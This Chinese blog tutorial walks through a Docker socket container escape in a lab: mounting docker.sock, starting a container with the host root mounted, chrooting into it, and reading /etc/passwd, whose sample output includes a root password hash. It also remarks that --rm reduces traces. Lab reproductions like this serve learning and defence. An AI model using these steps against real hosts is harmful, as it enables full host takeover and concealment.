thumbnail
Docker Socket 容器逃逸复现

一、原理概述

Docker Socket(/var/run/docker.sock)是 Docker 守护进程与客户端通信的 UNIX 套接字文件。当 Ubuntu 18.04 容器挂载该文件时,容器内进程可通过 Docker API 操控宿主机 Docker 服务,进而创建挂载宿主机根目录的新容器,实现从容器到宿主机的权限逃逸。

二、环境准备(宿主机操作)

  1. 拉取 Ubuntu 18.04 镜像

    1
    docker pull ubuntu:18.04
  2. 启动挂载 Docker Socket 的容器

    1
    2
    # 关键:将宿主机docker.sock挂载到容器内相同路径
    docker run -itd --name socket_escape -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
    • -itd:交互式后台运行,便于后续进入容器操作

    • -v:挂载宿主机 Docker Socket 到容器,是逃逸的核心前提

三、容器内环境配置

  1. 进入目标容器

    1
    docker exec -it socket_escape /bin/bash
  2. 安装 Docker 客户端 Ubuntu 18.04 需通过 apt 安装 Docker:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    # 更新软件源(Ubuntu 18.04推荐用apt-get)
    apt-get update -y

    # 安装必要依赖
    apt-get install -y apt-transport-https ca-certificates curl software-properties-common

    # 添加Docker官方GPG密钥
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -

    # 添加Docker软件源(适配Ubuntu 18.04的bionic版本)
    add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable"

    # 安装Docker CE客户端
    apt-get update -y && apt-get install -y docker-ce
  3. 验证 Docker 客户端可用性

    1
    2
    docker --version  # 显示版本信息即安装成功
    docker ps         # 能列出宿主机容器,证明已通过socket连接宿主机Docker服务
    • 示例输出:

四、逃逸步骤(容器内执行)

  1. 创建挂载宿主机根目录的新容器 利用宿主机 Docker 服务,创建一个将宿主机/挂载到容器/host的新容器:

    1
    docker run -it --rm -v /:/host ubuntu:18.04 /bin/bash
    • --rm:退出后自动清理,减少痕迹

    • -v /:/host:核心挂载,宿主机根目录映射到新容器/host

  2. 切换到宿主机根目录 在新容器内执行chroot命令,将当前环境切换为宿主机文件系统:

    1
    chroot /host
    • 执行过程示例:

五、验证逃逸结果

执行以下命令确认已获取宿主机权限:

  1. 查看用户 ID(应为宿主机 root):

    1
    id

    输出示例:uid=0(root) gid=0(root) groups=0(root)

  2. 查看宿主机 hostname

    1
    hostname

    输出示例:6195a62efdbd

  3. 查看宿主机用户信息

    1
    cat /etc/passwd

    输出包含宿主机本地用户(如rootlanghacker等),部分内容示例:

    1
    2
    3
    root:$6$Du1ukr7z$O3kiLXL/iyvOZTO7CYGsD2aePJ8Zp1ihpHwC9hi06Ng9xk5m1t8vehojD9Uhqcll17bI4UNdskCBBZqofrwGB1:0:0:root:/root:/bin/bash
    lang:x:1000:1000:lang,,,:/home/lang:/bin/bash
    hacker:x:1002:1002:,,,:/home/hacker:/bin/bash

六、清理操作

  1. 退出容器:连续执行exit退出新容器和原始容器

  2. 删除容器

    (宿主机执行):

    1
    docker rm -f socket_escape

上一篇
下一篇